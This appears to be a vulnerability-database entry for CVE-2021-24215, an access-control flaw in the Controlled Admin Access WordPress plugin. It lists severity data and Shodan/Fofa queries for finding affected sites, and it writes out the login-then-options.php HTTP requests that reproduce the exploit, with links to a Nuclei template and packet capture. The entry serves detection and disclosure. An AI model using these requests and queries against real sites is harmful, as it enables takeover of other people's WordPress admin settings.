🔙 목록으로 돌아가기

CVE-2021-24215: Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation

TitleControlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation
Authorr3Y3r53
SeverityCritical
ImpactUnauthenticated attackers can access sensitive WordPress customization functionality and global CMS settings, potentially leading to complete site compromise through uncontrolled access to configuration endpoints.
RemediationFixed in version 1.5.2
CVSS Score9.8
EPSS Score0.37383
CVE IDCVE-2021-24215
CWE IDCWE-425,CWE-284
Shodan Queryhttp.html:/wp-content/plugins/controlled-admin-access/
Fofa Querybody=/wp-content/plugins/controlled-admin-access/
Tags cve2021 cve authenticated wpscan wordpress wp-plugin wp controlled-admin-access wpruby vuln

🔍 Vulnerability Description

An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=8XDoqm&pwd=gwW4sK&wp-submit=Log+In
GET /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24215.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24215.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A